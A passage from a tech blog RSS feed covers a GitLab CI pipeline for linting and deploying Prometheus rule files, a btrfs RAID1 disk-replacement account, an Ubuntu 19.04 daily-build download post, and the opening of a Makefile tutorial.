Lint the code using promtool.
Push to S3
Write a shell script to pull from S3, put the config in right places and restarts Prometheus systemd service

You can automate the last step too, but I just wanted to keep atleast one manual check in this system so I decided against it. And since I don’t have a distributed Prometheus setup yet, it’s simple to keep things the old school way here .
You can do pretty much all of the steps in the above pipeline of any CI of your choice, but I am using Gitlab, so here’s a sample .gitlab-ci.yml file:
stages:
  - lint
  - deploy

prometheus-lint:
  stage: lint # run this job on stage lint
  image: golang:1.11-alpine # pull go1.11 image from official docker repo
  before_script:
    - apk update && apk add git # install git
  script:
    - GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go get -u github.com/prometheus/prometheus/cmd/promtool # fetches promtool package
    - $GOPATH/bin/promtool check rules rules/alerts/* # run the `check rules` command for my prometheus rule files

push-to-s3:
  stage: deploy # run this job on stage deploy
  environment:
    name: production # tag the job metadata in this environment. useful to quickly revert deploys when shit hits the fan
  image: python:3.7-alpine
  script:
    - pip install awscli # adds aws cli tools
    - aws s3 sync prometheus/rules s3://mybucket/rules/ # pushes our rule config files to s3
  only:
    refs: # only allow deploy if branch is master.
      - master
  when: manual # trigger this job manually
A brief explanation for the above file:
stages: Used to define multiple stages in our pipeline and they are executed in order.
jobs: prometheus-lint is one job which will be run in the stage lint. I am using Docker executor with Gitlab runner, so the runner agent talks to the docker executor. Gitlab-CI file is basically an API abstracted to hide away these details from the end user so all the CI/CD files look pretty much the same but behind the scenes the way they are executed totally depends on the executor you choose. Since we are using Docker executor, the image tag is picked up and the same docker image is pulled from a public docker repo for this job.
before_script is basically an event which is called before we begin running our actual CI stuff. You can add your project dependencies here.
script is a list of commands to be executed inside your environment (container for us).
Now that we have our basics about the CI/CD pipeline in place, let us see what each of the jobs is actually doing:
prometheus-lint: Installs promtool binary and runs it against our rules/ folder. The default working directory is our repository itself, so we didn’t have to give the absolute path.
push-to-s3: Installs aws cli tools, so we can push the files to s3. In case you are wondering where are the access key and secret key present, I have added them as protected variables in my project settings, so only the protected branches (eg master) can access them.

Automate everything? Nah mate#
This is how the deploy.sh script looks like:
#!/bin/sh
aws s3 sync s3://mybucket/rules/ /etc/prometheus/config/rules/
promtool check config /etc/prometheus/prometheus.yml
sudo service prometheus restart
As much as I’d like to be a cool hipster and run /deploy from my slack bot (last I checked, there’s a legit term for this: ChatOps), I simply don’t prefer that. Having a human intervention before doing critical deployments like this is OK, IMHO. I don’t update the Prometheus config often, so I don’t mind actually SSH-ing into the single instance and triggering a shell script which does the job for me. I also don’t have a distributed Prometheus setup as of yet. Things will definitely change based on your requirements and there’s no one size that fits all.
I’m much more confident now with my config changes and don’t have to pray to the server overlords everytime I restart Prometheus.
It just works .]]></description>
            <content:encoded><![CDATA[<p><a rel="external" href="https://prometheus.io/">Prometheus</a> configurations can turn into a mess in no time if you have a lot of different jobs scraping different targets. Certainly you can use tools like <a rel="external" href="https://jsonnet.org/">jsonnet</a> to keep your <code>YAML</code> files DRY but this post is not about that. I initially started off by writing one job to scrape a set of EC2 instances in a particular AWS VPC. Over the time, I had a requirement to do it over 3-4 different targets, each of them had their own rules and different type of exporters as well. The whole practice of <code>SSH</code>ing into the server, opening the config file in <code>vim</code> and editing in the server didn’t just feel <em>right</em>. No surpises for guessing that I f*cked up a few times with config errors (YAML <em>sigh</em>) and finally decided that I need a better solution for this.</p>
<h2 id="ci-cd-for-config-files">CI/CD for config files<a class="zola-anchor" href="#ci-cd-for-config-files" aria-label="Anchor link for: ci-cd-for-config-files">#</a></h2>
<p>“Wait, so now you’re telling me that I need to setup a full fledged pipeline just for a few config files?”, must have been the thought that echo’ed in your head. Before you jump to the conclusion that it’s overdoing things, IMHO it’s not. And it’s not that difficult either to set it up, so why not? After integrating CI in your workflow, you can be confident that no bad syntax in your PromQL queries or in general the <code>YAML</code> syntax would break your monitoring system.</p>
<p>“That sounds amazing, show me teh code already”. Our Pipeline is fairly fairly simple:</p>
<ul>
<li>Lint the code using <a rel="external" href="https://github.com/prometheus/prometheus/tree/master/cmd/promtool">promtool</a>.</li>
<li>Push to S3</li>
<li>Write a shell script to pull from S3, put the config in right places and restarts Prometheus systemd service</li>
</ul>
<p><img src="https://mrkaran.dev/images/gitlab-pipeline.png" alt="Gitlab Pipeline" title="Gitlab Pipeline" /></p>
<p>You can automate the last step too, but I just wanted to keep atleast one manual check in this system so I decided against it. And since I don’t have a distributed Prometheus setup yet, it’s simple to keep things the old school way here <i class="em em-smile"></i>.</p>
<p>You can do pretty much all of the steps in the above pipeline of any CI of your choice, but I am using <a rel="external" href="http://gitlab.com/">Gitlab</a>, so here’s a sample <code>.gitlab-ci.yml</code> file:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">s</span><span style="color: light-dark(#22863A, #8DDB8C);">tages</span><span>:</span></span>
<span class="giallo-l"><span>  -</span><span style="color: light-dark(#032F62, #96D0FF);"> l</span><span style="color: light-dark(#032F62, #96D0FF);">int</span></span>
<span class="giallo-l"><span>  -</span><span style="color: light-dark(#032F62, #96D0FF);"> d</span><span style="color: light-dark(#032F62, #96D0FF);">eploy</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">p</span><span style="color: light-dark(#22863A, #8DDB8C);">rometheus-lint</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  s</span><span style="color: light-dark(#22863A, #8DDB8C);">tage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> l</span><span style="color: light-dark(#032F62, #96D0FF);">int</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> run this job on stage lint</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> g</span><span style="color: light-dark(#032F62, #96D0FF);">olang:1.11-alpine</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> pull go1.11 image from official docker repo</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  b</span><span style="color: light-dark(#22863A, #8DDB8C);">efore_script</span><span>:</span></span>
<span class="giallo-l"><span>    -</span><span style="color: light-dark(#032F62, #96D0FF);"> a</span><span style="color: light-dark(#032F62, #96D0FF);">pk update &amp;&amp; apk add git</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> install git</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  s</span><span style="color: light-dark(#22863A, #8DDB8C);">cript</span><span>:</span></span>
<span class="giallo-l"><span>    -</span><span style="color: light-dark(#032F62, #96D0FF);"> G</span><span style="color: light-dark(#032F62, #96D0FF);">OOS=linux GOARCH=amd64 CGO_ENABLED=0 go get -u github.com/prometheus/prometheus/cmd/promtool</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> fetches promtool package</span></span>
<span class="giallo-l"><span>    -</span><span style="color: light-dark(#032F62, #96D0FF);"> $</span><span style="color: light-dark(#032F62, #96D0FF);">GOPATH/bin/promtool check rules rules/alerts/*</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> run the `check rules` command for my prometheus rule files</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">p</span><span style="color: light-dark(#22863A, #8DDB8C);">ush-to-s3</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  s</span><span style="color: light-dark(#22863A, #8DDB8C);">tage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> d</span><span style="color: light-dark(#032F62, #96D0FF);">eploy</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> run this job on stage deploy</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  e</span><span style="color: light-dark(#22863A, #8DDB8C);">nvironment</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    n</span><span style="color: light-dark(#22863A, #8DDB8C);">ame</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> p</span><span style="color: light-dark(#032F62, #96D0FF);">roduction</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> tag the job metadata in this environment. useful to quickly revert deploys when shit hits the fan</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> p</span><span style="color: light-dark(#032F62, #96D0FF);">ython:3.7-alpine</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  s</span><span style="color: light-dark(#22863A, #8DDB8C);">cript</span><span>:</span></span>
<span class="giallo-l"><span>    -</span><span style="color: light-dark(#032F62, #96D0FF);"> p</span><span style="color: light-dark(#032F62, #96D0FF);">ip install awscli</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> adds aws cli tools</span></span>
<span class="giallo-l"><span>    -</span><span style="color: light-dark(#032F62, #96D0FF);"> a</span><span style="color: light-dark(#032F62, #96D0FF);">ws s3 sync prometheus/rules s3://mybucket/rules/</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> pushes our rule config files to s3</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  o</span><span style="color: light-dark(#22863A, #8DDB8C);">nly</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    r</span><span style="color: light-dark(#22863A, #8DDB8C);">efs</span><span>:</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> only allow deploy if branch is master.</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#032F62, #96D0FF);"> m</span><span style="color: light-dark(#032F62, #96D0FF);">aster</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  w</span><span style="color: light-dark(#22863A, #8DDB8C);">hen</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> m</span><span style="color: light-dark(#032F62, #96D0FF);">anual</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> trigger this job manually</span></span></code></pre>
<p>A brief explanation for the above file:</p>
<ul>
<li>stages: Used to define multiple stages in our pipeline and they are executed <strong>in order</strong>.</li>
<li>jobs: <code>prometheus-lint</code> is one job which will be run in the stage <code>lint</code>. I am using Docker executor with Gitlab runner, so the runner agent talks to the docker executor. Gitlab-CI file is basically an API abstracted to hide away these details from the end user so all the CI/CD files look pretty much the same but behind the scenes the way they are executed totally depends on the executor you choose. Since we are using Docker executor, the <code>image</code> tag is picked up and the same docker image is pulled from a public docker repo for this job.</li>
<li><code>before_script</code> is basically an event which is called before we begin running our actual CI stuff. You can add your project dependencies here.</li>
<li><code>script</code> is a list of commands to be executed inside your environment (container for us).</li>
</ul>
<p>Now that we have our basics about the CI/CD pipeline in place, let us see what each of the jobs is actually doing:</p>
<ul>
<li>
<p><code>prometheus-lint</code>: Installs <code>promtool</code> binary and runs it against our <code>rules/</code> folder. The default working directory is our repository itself, so we didn’t have to give the absolute path.</p>
</li>
<li>
<p><code>push-to-s3</code>: Installs <code>aws</code> cli tools, so we can push the files to s3. In case you are wondering where are the access key and secret key present, I have added them as protected variables in my project settings, so only the protected branches (eg <code>master</code>) can access them.</p>
</li>
</ul>
<p><img src="https://mrkaran.dev/images/gitlab-env.png" alt="Gitlab Environment Variables" title="Gitlab Environment Variables" /></p>
<h3 id="automate-everything-nah-mate">Automate everything? Nah mate<a class="zola-anchor" href="#automate-everything-nah-mate" aria-label="Anchor link for: automate-everything-nah-mate">#</a></h3>
<p>This is how the <code>deploy.sh</code> script looks like:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#!</span><span style="color: light-dark(#6A737D, #768390);">/bin/sh</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">aws</span><span style="color: light-dark(#032F62, #96D0FF);"> s3</span><span style="color: light-dark(#032F62, #96D0FF);"> sync</span><span style="color: light-dark(#032F62, #96D0FF);"> s3://mybucket/rules/</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/prometheus/config/rules/</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">promtool</span><span style="color: light-dark(#032F62, #96D0FF);"> check</span><span style="color: light-dark(#032F62, #96D0FF);"> config</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/prometheus/prometheus.yml</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> service</span><span style="color: light-dark(#032F62, #96D0FF);"> prometheus</span><span style="color: light-dark(#032F62, #96D0FF);"> restart</span></span></code></pre>
<p>As much as I’d like to be a cool hipster and run <code>/deploy</code> from my slack bot (last I checked, there’s a legit term for this: <em>ChatOps</em>), I simply don’t prefer that. Having a human intervention before doing critical deployments like this is OK, IMHO. I don’t update the Prometheus config often, so I don’t mind actually SSH-ing into the single instance and triggering a shell script which does the job for me. I also don’t have a distributed Prometheus setup as of yet. Things will definitely change based on your requirements and there’s no one size that fits all.</p>
<p>I’m much more confident now with my config changes and don’t have to pray to the server overlords everytime I restart Prometheus.</p>
<p><em>It just works</em> <i class="em em-stuck_out_tongue_closed_eyes"></i>.</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Dealing with dead disks in a btrfs RAID1 array]]></title>
            <link>https://captnemo.in/blog/2019/02/24/btrfs-raid-device-replacement-story/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2019/02/24/btrfs-raid-device-replacement-story/</guid>
            <pubDate>Sun, 24 Feb 2019 00:00:00 GMT</pubDate>
            <description><![CDATA[tl;dr: Check your disk usage v/s RAID capacity to ensure that you can remove a disk before trying. If you can connect a new disk without removing the old one, run a btrfs replace - it is much faster.
My homeserver setup has a 4 disk setup:
128GB Samsung EVO 850 SSD as the primary disk (root volume)
A 3 Disk btrfs RAID1 Array that I use for almost everything else.
The 3 disks were:
A WD-3.5inch-3TB that I shelled from a WD-MyBook. This was the oldest disk in the array
2xSeagate 2.5-inch-3TB external disks that I shelled from Seagate Expansion disks.
The WD disk had been giving rising errors recently, and I was noticing hangs on the system as well:
My Steam saves would take time, and hang the game.
Kodi would ocassionaly hang just switching between screens as it would load images from disk.
gitea, which writes a lot to disk would get similar issues.
I asked a question on r/archlinux and confirmed that it indeed a dead disk.
Ordered a new Seagate Barracuda 3TB the next day, but my peculiar setup caused me a lot of pain before I could remove the dead disk. The primary issue was with the limited number of SATA connectors I had (just 4). The original setup had /dev/sdb,/dev/sdc,/dev/sdd as the three RAID disks with /dev/sdb being the dying WD.
This is what all I tried:
Removing /dev/sdb and adding a new disk the array (/dev/sde). Unfortunately, to add a disk to the array, you have to mount it first, and the setup just refused to mount in degraded mode. (It didn’t give a visibly error, so I didn’t know why)
I tried to keep the old disk attached over USB on a friend’s suggestion, but that didn’t work either. This was likely a cable issue, and I didn’t investigate this further.
Booting with the original three disks but replacing the dying disk with the new one post boot. Didn’t work as I kept getting read/write errors to sdb even after it was disconnected.
In short:
the system refused to mount the raid array with a missing disk (and I didn’t want to risk a boot with the array unavailable)
I couldn’t do a live replace because I had a limited number of SATA connectors.
What worked:
Running a btrfs device delete and leting it run overnight. It gave an error after quite a long time that finally helped me figure out the problem:

btrfs device delete /dev/sdb1 /mnt/xwing
ERROR: error removing device '/dev/sdb1': No space left on device

btrfs fi df /mnt/xwing
Data, RAID1: total=2.98TiB, used=2.98TiB
System, RAID1: total=32.00MiB, used=544.00KiB
Metadata, RAID1: total=5.49GiB, used=4.81GiB
GlobalReserve, single: total=512.00MiB, used=0.00B


The RAID array was 2.7TBx3 disks and I was storing roughly 2.98TB of data. To switch to a RAID1 setup with just 2 disks, I needed to delete some data. I ended up clearing out a few steam games (bye bye Witcher 3) and ran another btrfs device delete to resolve the issue.
If you are faced with a situation where you have to remove a device, but can’t do a live replace, here’s what you need:
Check that your disk removal does not impact any data storage. Your n-1 disk array should have enough capacity to store everything.
Run a btrfs device delete
Reboot
Re-attach new disk, and then run a btrfs device add
As a retro, I posted a summary with the issues I faced on the btrfs mailing list
If you’re interested in my self-hosting setup, I’m using Terraform + Docker, the code is hosted on the same server, and I’ve been writing about my experience and learnings:
Part 1, Hardware
Part 2, Terraform/Docker
Part 3, Learnings
Part 4, Migrating from Google (and more)
Part 5, Home Server Networking
Part 6, btrfs RAID device replacement
If you have any comments, reach out to me]]></description>
            <content:encoded><![CDATA[<p><strong>tl;dr</strong>: Check your disk usage v/s RAID capacity to ensure that you can remove a disk before trying. If you can connect a new disk without removing the old one, run a <code class="language-plaintext highlighter-rouge">btrfs replace</code> - it is much faster.</p>

<hr />

<p>My homeserver setup has a 4 disk setup:</p>

<ol>
  <li>128GB Samsung EVO 850 SSD as the primary disk (root volume)</li>
  <li>A 3 Disk btrfs RAID1 Array that I use for almost everything else.</li>
</ol>

<p>The 3 disks were:</p>

<ol>
  <li>A WD-3.5inch-3TB that I shelled from a WD-MyBook. This was the oldest disk in the array</li>
  <li>2xSeagate 2.5-inch-3TB external disks that I shelled from Seagate Expansion disks.</li>
</ol>

<p>The WD disk had been giving rising errors recently, and I was noticing hangs on the system as well:</p>

<ol>
  <li>My Steam saves would take time, and hang the game.</li>
  <li>Kodi would ocassionaly hang just switching between screens as it would load images from disk.</li>
  <li>gitea, which writes a lot to disk would get similar issues.</li>
</ol>

<p>I asked a question on <a href="https://www.reddit.com/r/archlinux/comments/asrlam/btrfscleaner_at_100_cpu_usage_on_raid1_setup/egwc047/">r/archlinux</a> and confirmed that it indeed a dead disk.</p>

<p>Ordered a new Seagate Barracuda 3TB the next day, but my peculiar setup caused me a lot of pain before I could remove the dead disk. The primary issue was with the limited number of SATA connectors I had (just 4). The original setup had <code class="language-plaintext highlighter-rouge">/dev/sdb,/dev/sdc,/dev/sdd</code> as the three RAID disks with <code class="language-plaintext highlighter-rouge">/dev/sdb</code> being the dying WD.</p>

<p>This is what all I tried:</p>

<ol>
  <li>Removing <code class="language-plaintext highlighter-rouge">/dev/sdb</code> and adding a new disk the array (<code class="language-plaintext highlighter-rouge">/dev/sde</code>). Unfortunately, to add a disk to the array, you have to mount it first, and the setup just refused to mount in degraded mode. (It didn’t give a visibly error, so I didn’t know why)</li>
  <li>I tried to keep the old disk attached over USB on a friend’s suggestion, but that didn’t work either. This was likely a cable issue, and I didn’t investigate this further.</li>
  <li>Booting with the original three disks but replacing the dying disk with the new one post boot. Didn’t work as I kept getting read/write errors to sdb even after it was disconnected.</li>
</ol>

<p>In short:</p>

<ul>
  <li>the system refused to mount the raid array with a missing disk (and I didn’t want to risk a boot with the array unavailable)</li>
  <li>I couldn’t do a live replace because I had a limited number of SATA connectors.</li>
</ul>

<h2 id="what-worked">What worked:</h2>

<p>Running a <code class="language-plaintext highlighter-rouge">btrfs device delete</code> and leting it run overnight. It gave an error after quite a long time that finally helped me figure out the problem:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>btrfs device delete /dev/sdb1 /mnt/xwing
ERROR: error removing device '/dev/sdb1': No space left on device

btrfs fi df /mnt/xwing
Data, RAID1: total=2.98TiB, used=2.98TiB
System, RAID1: total=32.00MiB, used=544.00KiB
Metadata, RAID1: total=5.49GiB, used=4.81GiB
GlobalReserve, single: total=512.00MiB, used=0.00B
</code></pre></div></div>

<p>The RAID array was 2.7TBx3 disks and I was storing roughly <code class="language-plaintext highlighter-rouge">2.98TB</code> of data. To switch to a RAID1 setup with just 2 disks, I needed to delete some data. I ended up clearing out a few steam games (bye bye Witcher 3) and ran another <code class="language-plaintext highlighter-rouge">btrfs device delete</code> to resolve the issue.</p>

<p>If you are faced with a situation where you have to remove a device, but can’t do a live replace, here’s what you need:</p>

<ol>
  <li>Check that your disk removal does not impact any data storage. Your n-1 disk array should have enough capacity to store everything.</li>
  <li>Run a <code class="language-plaintext highlighter-rouge">btrfs device delete</code></li>
  <li>Reboot</li>
  <li>Re-attach new disk, and then run a <code class="language-plaintext highlighter-rouge">btrfs device add</code></li>
</ol>

<p>As a retro, I posted a summary with the issues I faced on the <a href="https://lore.kernel.org/linux-btrfs/d1eac64c-056b-a95b-7890-875d313a7ab4@captnemo.in/T/#u">btrfs mailing list</a></p>

<hr />

<p>If you’re interested in my <a href="https://captnemo.in/setup/homeserver/">self-hosting setup</a>, I’m using Terraform + Docker, the code is hosted on <a href="https://git.captnemo.in/nemo/nebula/">the same server</a>, and I’ve been writing about my experience and learnings:</p>

<ol>
  <li><a href="https://captnemo.in/blog/2017/09/17/home-server-build/">Part 1, Hardware</a></li>
  <li><a href="https://captnemo.in/blog/2017/11/09/home-server-update/">Part 2, Terraform/Docker</a></li>
  <li><a href="https://captnemo.in/blog/2017/12/18/home-server-learnings/">Part 3, Learnings</a></li>
  <li><a href="https://captnemo.in/blog/2017/12/31/migrating-from-google/">Part 4, Migrating from Google (and more)</a></li>
  <li><a href="https://captnemo.in/blog/2018/04/22/home-server-networking/">Part 5, Home Server Networking</a></li>
  <li><a href="https://captnemo.in/blog/2019/02/24/btrfs-raid-device-replacement-story/">Part 6, btrfs RAID device replacement</a></li>
</ol>

<p>If you have any comments, <a href="https://captnemo.in/contact/">reach out to me</a></p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Download Ubuntu 19.04 Disco Dingo Daily Build ISO]]></title>
            <link>https://ibcomputing.com/download-ubuntu-19-04-disco-dingo/</link>
            <guid isPermaLink="false">https://ibcomputing.com/download-ubuntu-19-04-disco-dingo/</guid>
            <pubDate>Fri, 02 Nov 2018 19:54:51 GMT</pubDate>
            <description><![CDATA[As Canonical started the development of the next version of Ubuntu operating system last week, early testers can now download Ubuntu 19.04 Disco Dingo daily … 
The post Download Ubuntu 19.04 Disco Dingo Daily Build ISO appeared first on IB Computing.]]></description>
            <content:encoded><![CDATA[<p>As Canonical started the development of the next version of Ubuntu operating system last week, early testers can now download Ubuntu 19.04 Disco Dingo daily build ISO images. Yes, as you may have already noticed this time the code name is not made up of an animal&#8217;s name with an &#8216;adjective&#8217;. &#8216;Disco&#8217; is usually used as a noun or verb, but not an adjective which makes the naming of the new Ubuntu slightly different and notable than its previous version names. To be honest I actually find it as a funny name!</p>
<p><a href="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2018/02/ubuntu1-min.png?ssl=1" data-wpel-link="external" target="_blank" rel="follow external noopener"><img data-recalc-dims="1" loading="lazy" decoding="async" data-attachment-id="1254" data-permalink="https://ibcomputing.com/awesome-minimalist-linux-wallpapers/ubuntu1-min/" data-orig-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2018/02/ubuntu1-min.png?fit=800%2C450&amp;ssl=1" data-orig-size="800,450" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="ubuntu wallpaper" data-image-description="&lt;p&gt;ubuntu wallpaper&lt;/p&gt;
" data-image-caption="&lt;p&gt;ubuntu wallpaper&lt;/p&gt;
" data-medium-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2018/02/ubuntu1-min.png?fit=300%2C169&amp;ssl=1" data-large-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2018/02/ubuntu1-min.png?fit=800%2C450&amp;ssl=1" class="wp-image-1254 size-medium aligncenter" src="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2018/02/ubuntu1-min.png?resize=300%2C169&#038;ssl=1" alt="ubuntu wallpaper" width="300" height="169" srcset="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2018/02/ubuntu1-min.png?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/ibcomputing.com/wp-content/uploads/2018/02/ubuntu1-min.png?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/ibcomputing.com/wp-content/uploads/2018/02/ubuntu1-min.png?resize=782%2C440&amp;ssl=1 782w, https://i0.wp.com/ibcomputing.com/wp-content/uploads/2018/02/ubuntu1-min.png?w=800&amp;ssl=1 800w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p>Ubuntu 19.04 is the next stable Ubuntu release and is due for release in April 2019 as expected. It&#8217;ll have support for at least nine months since the original stable release, which will be until July 2020.</p>
<p>Ubuntu just recently released its latest stable version 18.10 named Cosmic Cuttlefish last month. Since the Ubuntu 19.04 daily test build ISO is based on this don&#8217;t look for any exciting new and/or fancy features or improvements. You can now download the first official Ubuntu 19.04 Disco Dingo daily build ISO image directly from the <a href="http://cdimage.ubuntu.com/daily-live/20181101.1/" data-wpel-link="external" target="_blank" rel="follow external noopener">Canonical website</a>.</p>
<p style="text-align: center;"><a style="padding: 5px 8px; background: #0073AA; color: white; text-decoration: none;" href="http://cdimage.ubuntu.com/daily-live/20181101.1/disco-desktop-amd64.iso" data-wpel-link="external" target="_blank" rel="follow external noopener">Download Ubuntu 19.04 Disco Dingo Daily Build ISO</a></p>
<p>It should be kept in mind that this is a very early development version which may have bugs and undetected issues, so it is never ever recommended to install on production machines. As mentioned earlier it is targeted at early testers for testing purpose.</p>
<p>The Ubuntu 19.04 Disco Dingo beta release is expected in March 28, 2019. If you don&#8217;t want to waste time for just testing then you can wait until the beta release. Or if you immediately want a new and stable operating system then you can of course download the recently released Ubuntu 18.10 Cosmic Cuttlefish. It comes with a new default GNOME theme called Yaru and also features Suru icon pack. With Linux kernel v4.18 and GNOME v3.30 there&#8217;s also boot time as well as performance improvements.</p>
<p style="text-align: center;"><a style="padding: 5px 8px; background: #0073AA; color: white; text-decoration: none;" href="http://releases.ubuntu.com/18.10/ubuntu-18.10-desktop-amd64.iso" data-wpel-link="external" target="_blank" rel="follow external noopener">Download Ubuntu 18.10 Cosmic Cuttlefish</a></p>
<p>The post <a href="https://ibcomputing.com/download-ubuntu-19-04-disco-dingo/" data-wpel-link="internal">Download Ubuntu 19.04 Disco Dingo Daily Build ISO</a> appeared first on <a href="https://ibcomputing.com" data-wpel-link="internal">IB Computing</a>.</p>
]]></content:encoded>
            <author>Bady</author>
            <category>GNU/Linux</category>
            <category>Ubuntu</category>
            <category>Free Download</category>
            <category>Ubuntu Gnome</category>
        </item>
        <item>
            <title><![CDATA[How to Install WiFi driver for Broadcom BCM43142 WiFi device in GNU/Linux Distros]]></title>
            <link>https://ibcomputing.com/install-wifi-driver-broadcom-bcm43142-linux/</link>
            <guid isPermaLink="false">https://ibcomputing.com/install-wifi-driver-broadcom-bcm43142-linux/</guid>
            <pubDate>Mon, 15 Oct 2018 20:11:35 GMT</pubDate>
            <description><![CDATA[Getting proprietary WiFi drivers to work in GNU/Linux distros can be a pain sometimes. This time we’re going to deal with such a proprietary driver … 
The post How to Install WiFi driver for Broadcom BCM43142 WiFi device in GNU/Linux Distros appeared first on IB Computing.]]></description>
            <content:encoded><![CDATA[<p>Getting proprietary WiFi drivers to work in GNU/Linux distros can be a pain sometimes. This time we&#8217;re going to deal with such a proprietary driver &#8230; </p>
<p>The post <a href="https://ibcomputing.com/install-wifi-driver-broadcom-bcm43142-linux/" data-wpel-link="internal">How to Install WiFi driver for Broadcom BCM43142 WiFi device in GNU/Linux Distros</a> appeared first on <a href="https://ibcomputing.com" data-wpel-link="internal">IB Computing</a>.</p>
]]></content:encoded>
            <author>Mujeeb Rahman K</author>
            <category>GNU/Linux</category>
            <category>Tutorials</category>
            <category>Arch Linux</category>
            <category>Broadcom</category>
            <category>Debian</category>
            <category>Fedora</category>
            <category>Ubuntu</category>
            <category>WiFi</category>
        </item>
        <item>
            <title><![CDATA[Makefile for Golang projects]]></title>
            <link>https://mrkaran.dev/posts/makefiles-intro/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/makefiles-intro/</guid>
            <pubDate>Thu, 11 Oct 2018 12:40:55 GMT</pubDate>
            <description><![CDATA[Makefile is an awesome tool to group together a bunch of different rules and automate your build process. Makefile is used by make which is essentially a file generator tool. It is generally used to compile and build programs from source by following rules listed in the Makefile. People use Makefile for a lot of different purposes as well, for example converting md to html and publish these files to the web server.
Every makefile you see, is composed of rules. A rule is declaration of a target and the commands to be executed to generate the target. A target can be a file or an action to be performed (more on that later).
This is how a rule looks like in a Makefile
target: dependencies
    recipe
When you run make target, make searches for the rule which begins with this target and executes the dependecies (if required). It then runs a bunch of commands which are listed in the recipe. An important thing to understand here is that make tracks the dependencies by their last modified time. So if the dependencies haven’t changed, then make will complain with make: 'target' is up to date.
Enough of theory, let’s get our feet wet by writing our first Makefile. One important thing about Makefile is that you need to use tabs and not spaces. It is one of the rare *nix programs which is whitespace aware and this has been mentioned in The Unix-Haters Handbook as well.
